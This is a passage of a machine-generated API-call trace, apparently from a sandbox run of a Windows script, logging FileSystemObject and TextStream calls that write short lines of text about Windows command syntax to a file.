pBstrHelpFile=0x249c8758f60*="鹰졵ɉ") returned 0x0 [0148.482] malloc (_Size=0x8) returned 0x249c884aa00 [0148.483] malloc (_Size=0x14) returned 0x249ca4478b0 [0148.483] _snwprintf_s (in: _DstBuf=0x249ca4478b0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.483] malloc (_Size=0x4e) returned 0x249c884a540 [0148.483] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.483] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.483] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.483] wcsncpy_s (in: _Destination=0x249ca4d44a8, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.483] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.483] free (_Block=0x249ca4478b0) [0148.483] free (_Block=0x249c884aa00) [0148.483] free (_Block=0x249c884a540) [0148.483] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.483] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.483] SysReleaseString () returned 0x1 [0148.483] CoTaskMemFree (pv=0x249c8761b80) [0148.483] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.483] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.484] CoTaskMemAlloc (cb=0x28) returned 0x249c87618b0 [0148.484] SysAddRefString () returned 0x0 [0148.484] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.484] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.484] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.484] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86ee828, pBstrHelpFile=0x249c8758f60*="颰졵ɉ") returned 0x0 [0148.484] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86b8778, pBstrHelpFile=0x249c8758f60*="颰졵ɉ") returned 0x0 [0148.484] malloc (_Size=0x8) returned 0x249c884aa00 [0148.484] malloc (_Size=0xae) returned 0x249ca4d5de0 [0148.484] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x57, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 86 [0148.484] malloc (_Size=0xe8) returned 0x249ca4d5ea0 [0148.484] _snwprintf_s (in: _DstBuf=0x249ca4d5ea0, _DstSizeInWords=0x74, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.484] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x74, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _MaxCount=0x56 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 0x0 [0148.484] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _SizeInWords=0x74, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.484] wcsncpy_s (in: _Destination=0x249ca4d44f0, _SizeInWords=0x71, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n", _MaxCount=0x70 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.484] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.484] free (_Block=0x249ca4d5de0) [0148.484] free (_Block=0x249c884aa00) [0148.484] free (_Block=0x249ca4d5ea0) [0148.485] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.485] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.485] SysReleaseString () returned 0x1 [0148.485] CoTaskMemFree (pv=0x249c87618b0) [0148.485] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.485] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.485] CoTaskMemAlloc (cb=0x28) returned 0x249c87617f0 [0148.485] SysAddRefString () returned 0x0 [0148.485] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.485] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.485] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.485] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86b8778, pBstrHelpFile=0x249c8758f60*="ꀰ졵ɉ") returned 0x0 [0148.485] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762148, pBstrHelpFile=0x249c8758f60*="ꀰ졵ɉ") returned 0x0 [0148.486] malloc (_Size=0x8) returned 0x249c884aa00 [0148.486] malloc (_Size=0xd0) returned 0x249ca4d5de0 [0148.486] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x68, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 103 [0148.486] malloc (_Size=0x10a) returned 0x249c884ec50 [0148.486] _snwprintf_s (in: _DstBuf=0x249c884ec50, _DstSizeInWords=0x85, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.486] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x85, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _MaxCount=0x67 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 0x0 [0148.486] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _SizeInWords=0x85, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.486] wcsncpy_s (in: _Destination=0x249ca4d45d2, _SizeInWords=0x82, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n", _MaxCount=0x81 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.486] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.486] free (_Block=0x249ca4d5de0) [0148.486] free (_Block=0x249c884aa00) [0148.486] free (_Block=0x249c884ec50) [0148.486] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.487] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.487] SysReleaseString () returned 0x1 [0148.487] CoTaskMemFree (pv=0x249c87617f0) [0148.487] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.487] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.487] CoTaskMemAlloc (cb=0x28) returned 0x249c87617f0 [0148.487] SysAddRefString () returned 0x0 [0148.487] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.487] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.487] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.487] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762148, pBstrHelpFile=0x249c8758f60*="鸰졵ɉ") returned 0x0 [0148.487] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762c28, pBstrHelpFile=0x249c8758f60*="鸰졵ɉ") returned 0x0 [0148.487] malloc (_Size=0x8) returned 0x249c884aa00 [0148.487] malloc (_Size=0x14) returned 0x249ca4477b0 [0148.487] _snwprintf_s (in: _DstBuf=0x249ca4477b0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.487] malloc (_Size=0x4e) returned 0x249c884a540 [0148.487] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.487] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.487] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.487] wcsncpy_s (in: _Destination=0x249ca4d46d6, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.488] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.488] free (_Block=0x249ca4477b0) [0148.488] free (_Block=0x249c884aa00) [0148.488] free (_Block=0x249c884a540) [0148.488] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.488] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.488] SysReleaseString () returned 0x1 [0148.488] CoTaskMemFree (pv=0x249c87617f0) [0148.488] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.488] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.488] CoTaskMemAlloc (cb=0x28) returned 0x249c87618b0 [0148.488] SysAddRefString () returned 0x0 [0148.488] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.488] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.489] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.489] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762c28, pBstrHelpFile=0x249c8758f60*="ꚰ졵ɉ") returned 0x0 [0148.489] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762388, pBstrHelpFile=0x249c8758f60*="ꚰ졵ɉ") returned 0x0 [0148.489] malloc (_Size=0x8) returned 0x249c884ee00 [0148.489] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.489] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.489] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.489] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.489] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.489] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.489] wcsncpy_s (in: _Destination=0x249ca4d471e, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.489] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.489] free (_Block=0x249c884ee60) [0148.489] free (_Block=0x249c884ee00) [0148.489] free (_Block=0x249ca4d5de0) [0148.489] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.489] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.489] SysReleaseString () returned 0x1 [0148.489] CoTaskMemFree (pv=0x249c87618b0) [0148.490] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.490] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.490] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.490] SysAddRefString () returned 0x0 [0148.490] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.490] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 